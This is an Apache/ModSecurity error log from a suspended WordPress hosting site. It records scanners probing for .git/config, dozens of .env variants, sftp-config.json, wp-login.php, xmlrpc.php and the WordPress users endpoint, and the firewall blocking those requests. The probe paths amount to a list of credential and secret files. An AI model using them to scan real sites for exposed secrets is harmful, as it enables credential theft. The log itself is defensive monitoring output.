[Sat May 16 21:27:08.982568 2026] [:error] [pid 5602:tid 5607] [client 20.89.144.61:7294] [client 20.89.144.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws.php"] [unique_id "aghwrNzTTsu77r3UIsk6iQAAAQM"]
[Sat May 16 21:27:09.441682 2026] [:error] [pid 61361:tid 61380] [client 20.89.144.61:7242] [client 20.89.144.61] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws.php"] [unique_id "aghwrZZojzbt3jGziNmD2wAAAVE"]
[Sun May 17 02:27:03.048290 2026] [:error] [pid 62210:tid 62224] [client 49.37.41.121:50763] [client 49.37.41.121] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.41.121, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "agi298jHonCA4ORo40HingAAAkw"]
[Sun May 17 02:27:03.054939 2026] [:error] [pid 62210:tid 62224] [client 49.37.41.121:50763] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Sun May 17 04:22:40.918905 2026] [:error] [pid 59061:tid 59098] [client 37.139.53.198:12923] [client 37.139.53.198] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "windfarmcoolants.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "agjSEIYS410zAmsYkoLq7gAAAEI"]
[Sun May 17 04:22:42.358935 2026] [:error] [pid 59061:tid 59120] [client 191.102.153.129:50765] [client 191.102.153.129] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||windfarmcoolants.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "windfarmcoolants.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "agjSEoYS410zAmsYkoLq8QAAAFg"]
[Sun May 17 05:14:12.748848 2026] [:error] [pid 36652:tid 36675] [client 70.153.136.253:50440] [client 70.153.136.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/"] [unique_id "agjeJDZrzQadnZADvj8B6wAAARU"], referer: binance.com
[Sun May 17 10:03:32.278433 2026] [:error] [pid 59166:tid 59184] [client 92.118.39.29:42802] [client 92.118.39.29] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "agkh9E_puQ1I47_0UrjGjgAAANA"]
[Sun May 17 12:32:43.052751 2026] [:error] [pid 59060:tid 59087] [client 92.118.39.29:33562] [client 92.118.39.29] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "aglE6_vwvq3bndkPE4najwAAABI"]
[Sun May 17 13:03:23.025758 2026] [:error] [pid 59061:tid 59103] [client 192.96.159.129:63746] [client 192.96.159.129] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env"] [unique_id "aglMG4YS410zAmsYkoIT3QAAAEc"]
[Sun May 17 13:31:14.545007 2026] [:error] [pid 10834:tid 10855] [client 172.64.223.86:10584] [client 172.64.223.86] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "aglSohISNQ_Nf83-VpqHmAAAAck"]
[Sun May 17 18:03:01.851957 2026] [:error] [pid 59166:tid 59174] [client 34.50.21.218:46514] [client 34.50.21.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "agmSVU_puQ1I47_0UrjomQAAAMY"]
[Sun May 17 18:03:02.575080 2026] [:error] [pid 11079:tid 11105] [client 34.50.21.218:46596] [client 34.50.21.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env"] [unique_id "agmSVmeR3-DrxhvUqxHZsAAAAkU"]
[Sun May 17 18:03:03.148304 2026] [:error] [pid 11079:tid 11123] [client 34.50.21.218:46630] [client 34.50.21.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.local"] [unique_id "agmSV2eR3-DrxhvUqxHZswAAAlM"]
[Sun May 17 18:03:03.721109 2026] [:error] [pid 11079:tid 11118] [client 34.50.21.218:46668] [client 34.50.21.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.production"] [unique_id "agmSV2eR3-DrxhvUqxHZtwAAAk4"]
[Sun May 17 18:03:04.300140 2026] [:error] [pid 59062:tid 59126] [client 34.50.21.218:46710] [client 34.50.21.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.staging"] [unique_id "agmSWD4V9GkVWmCFmGYKGwAAAIM"]
[Sun May 17 18:03:04.872981 2026] [:error] [pid 11079:tid 11103] [client 34.50.21.218:46730] [client 34.50.21.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.development"] [unique_id "agmSWGeR3-DrxhvUqxHZugAAAkM"]
[Sun May 17 18:03:05.452100 2026] [:error] [pid 10834:tid 10863] [client 34.50.21.218:46756] [client 34.50.21.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.test"] [unique_id "agmSWRISNQ_Nf83-VpqfxQAAAdE"]
[Sun May 17 18:03:06.026075 2026] [:error] [pid 10784:tid 10811] [client 34.50.21.218:46792] [client 34.50.21.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.remote"] [unique_id "agmSWmBWRlKsFkSZGxA_kAAAAYw"]
[Sun May 17 18:03:06.610704 2026] [:error] [pid 11079:tid 11102] [client 34.50.21.218:46808] [client 34.50.21.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.bak"] [unique_id "agmSWmeR3-DrxhvUqxHZwgAAAkI"]
[Sun May 17 18:03:07.186445 2026] [:error] [pid 11079:tid 11115] [client 34.50.21.218:46842] [client 34.50.21.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.backup"] [unique_id "agmSW2eR3-DrxhvUqxHZxgAAAks"]
[Sun May 17 18:03:07.760927 2026] [:error] [pid 11079:tid 11105] [client 34.50.21.218:46874] [client 34.50.21.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.save"] [unique_id "agmSW2eR3-DrxhvUqxHZyQAAAkU"]
[Sun May 17 18:03:08.335965 2026] [:error] [pid 11079:tid 11117] [client 34.50.21.218:56560] [client 34.50.21.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.old"] [unique_id "agmSXGeR3-DrxhvUqxHZzAAAAk0"]
[Sun May 17 18:03:08.912956 2026] [:error] [pid 11079:tid 11104] [client 34.50.21.218:56582] [client 34.50.21.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.sample"] [unique_id "agmSXGeR3-DrxhvUqxHZzwAAAkQ"]
[Sun May 17 18:03:09.487161 2026] [:error] [pid 11079:tid 11109] [client 34.50.21.218:56602] [client 34.50.21.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.example"] [unique_id "agmSXWeR3-DrxhvUqxHZ0AAAAkg"]
[Sun May 17 18:03:10.066072 2026] [:error] [pid 11079:tid 11125] [client 34.50.21.218:56644] [client 34.50.21.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.dev"] [unique_id "agmSXmeR3-DrxhvUqxHZ1AAAAlU"]
[Sun May 17 18:03:10.642885 2026] [:error] [pid 59062:tid 59124] [client 34.50.21.218:56674] [client 34.50.21.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.prod"] [unique_id "agmSXj4V9GkVWmCFmGYKHwAAAIE"]
[Sun May 17 18:03:11.219786 2026] [:error] [pid 11079:tid 11101] [client 34.50.21.218:56692] [client 34.50.21.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.stage"] [unique_id "agmSX2eR3-DrxhvUqxHZ1wAAAkE"]
[Sun May 17 18:03:11.795330 2026] [:error] [pid 17234:tid 17247] [client 34.50.21.218:56714] [client 34.50.21.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.ci"] [unique_id "agmSX9J4QOrYRCeDR2hS2QAAAUs"]
[Sun May 17 18:03:12.372395 2026] [:error] [pid 11079:tid 11117] [client 34.50.21.218:56720] [client 34.50.21.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.docker"] [unique_id "agmSYGeR3-DrxhvUqxHZ2AAAAk0"]
[Sun May 17 18:03:12.947920 2026] [:error] [pid 11079:tid 11119] [client 34.50.21.218:56752] [client 34.50.21.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.live"] [unique_id "agmSYGeR3-DrxhvUqxHZ2gAAAk8"]
[Sun May 17 18:03:13.525791 2026] [:error] [pid 11079:tid 11103] [client 34.50.21.218:56782] [client 34.50.21.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.preprod"] [unique_id "agmSYWeR3-DrxhvUqxHZ3QAAAkM"]
[Sun May 17 18:03:14.107863 2026] [:error] [pid 11079:tid 11108] [client 34.50.21.218:56810] [client 34.50.21.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.uat"] [unique_id "agmSYmeR3-DrxhvUqxHZ4wAAAkc"]
[Sun May 17 18:03:14.686325 2026] [:error] [pid 11079:tid 11117] [client 34.50.21.218:56822] [client 34.50.21.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.dist"] [unique_id "agmSYmeR3-DrxhvUqxHZ6QAAAk0"]
[Sun May 17 18:03:15.259987 2026] [:error] [pid 59166:tid 59186] [client 34.50.21.218:56844] [client 34.50.21.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.swp"] [unique_id "agmSY0_puQ1I47_0UrjonAAAANI"]
[Mon May 18 08:11:56.862133 2026] [:error] [pid 48686:tid 48714] [client 103.156.164.0:1847] [client 103.156.164.0] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.156.164.0, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "agpZTMTu4V1xzKWde-TEJwAAAZg"]
[Mon May 18 08:11:56.867454 2026] [:error] [pid 48686:tid 48714] [client 103.156.164.0:1847] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Mon May 18 11:51:40.920539 2026] [:error] [pid 44087:tid 44091] [client 139.135.49.44:44503] [client 139.135.49.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.135.49.44, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "agqMzG5HPHbH9GK7l6zLzAAAAcI"]
[Mon May 18 11:51:40.927164 2026] [:error] [pid 44087:tid 44091] [client 139.135.49.44:44503] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Mon May 18 15:14:59.159757 2026] [:error] [pid 36491:tid 36495] [client 136.115.248.70:51840] [client 136.115.248.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.115.248.70, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "agq8c0555B9CZb6D60mfsAAAAUA"]
[Mon May 18 15:14:59.163639 2026] [:error] [pid 36491:tid 36495] [client 136.115.248.70:51840] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Mon May 18 15:15:02.709618 2026] [:error] [pid 36491:tid 36507] [client 136.115.248.70:51840] [client 136.115.248.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "agq8dk555B9CZb6D60mfuwAAAUw"]
[Mon May 18 15:15:03.120323 2026] [:error] [pid 36492:tid 36546] [client 136.115.248.70:59253] [client 136.115.248.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "agq8d2CVlogrkn9m2w6meQAAABg"]
[Mon May 18 15:15:03.524287 2026] [:error] [pid 36493:tid 36571] [client 136.115.248.70:53011] [client 136.115.248.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "agq8dwynkzQB5nM668qrzwAAARY"]
[Mon May 18 15:15:03.916644 2026] [:error] [pid 36493:tid 36550] [client 136.115.248.70:53640] [client 136.115.248.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "agq8dwynkzQB5nM668qr0AAAAQE"]
[Mon May 18 15:15:04.330482 2026] [:error] [pid 36579:tid 36601] [client 136.115.248.70:60935] [client 136.115.248.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "agq8eF-aoZxBfgL5vDxvHAAAAFM"]
[Mon May 18 15:15:04.719600 2026] [:error] [pid 36492:tid 36525] [client 136.115.248.70:60861] [client 136.115.248.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "agq8eGCVlogrkn9m2w6mfAAAAAM"]
[Mon May 18 15:15:05.116304 2026] [:error] [pid 36579:tid 36595] [client 136.115.248.70:65056] [client 136.115.248.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "agq8eV-aoZxBfgL5vDxvHQAAAE0"]
[Tue May 19 02:13:31.399226 2026] [:error] [pid 44046:tid 44067] [client 79.117.241.99:62247] [client 79.117.241.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.117.241.99, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "agtWy4YF4k2jfXJBXk0SwwAAAZM"]
[Tue May 19 02:13:31.404442 2026] [:error] [pid 44046:tid 44067] [client 79.117.241.99:62247] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php
[Tue May 19 04:52:35.283150 2026] [:error] [pid 41573:tid 41588] [client 103.65.237.216:60848] [client 103.65.237.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/sftp-config.json"] [unique_id "agt8Ey1A2bd6JDSW9RYdVgAAAQ0"]
[Tue May 19 04:52:36.553449 2026] [:error] [pid 38814:tid 38818] [client 103.65.237.216:61066] [client 103.65.237.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.vscode/sftp.json"] [unique_id "agt8FAvkKuBwP0epzWdGCAAAAMI"]
[Tue May 19 07:28:23.765951 2026] [:error] [pid 41573:tid 41589] [client 52.57.215.214:52526] [client 52.57.215.214] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/HEAD"] [unique_id "agugly1A2bd6JDSW9RY-IAAAAQ4"]
[Tue May 19 12:24:04.960986 2026] [:error] [pid 46815:tid 46839] [client 85.137.48.10:59722] File does not exist: /usr/local/apache/htdocs/suspended-page/txets.php
[Tue May 19 12:29:37.821538 2026] [:error] [pid 46815:tid 46822] [client 34.56.62.173:49664] [client 34.56.62.173] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env"] [unique_id "agvnMSPnRhJOmA06LgoxZAAAAUU"]
[Tue May 19 12:29:38.616846 2026] [:error] [pid 29823:tid 29861] [client 34.56.62.173:49678] [client 34.56.62.173] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.production"] [unique_id "agvnMmO09C0nAz8vRk4SJgAAAdY"]
[Tue May 19 12:29:39.818987 2026] [:error] [pid 46896:tid 46911] [client 34.56.62.173:57958] [client 34.56.62.173] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env"] [unique_id "agvnM6CHyzL3Ci9LGE0wqQAAAY0"]
[Tue May 19 17:47:00.189796 2026] [:error] [pid 55881:tid 55906] [client 34.56.62.173:53336] [client 34.56.62.173] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env"] [unique_id "agwxlO-UExma0LUC7WD7gwAAAlc"]
[Tue May 19 17:47:00.992593 2026] [:error] [pid 38699:tid 38764] [client 34.56.62.173:53342] [client 34.56.62.173] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env.production"] [unique_id "agwxlL--Adsw_P-dthaSzwAAAFY"]
[Tue May 19 17:47:01.398107 2026] [:error] [pid 38697:tid 38732] [client 34.56.62.173:55510] [client 34.56.62.173] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.env"] [unique_id "agwxlaXP9pP6Kgt-msQ-XwAAABE"]
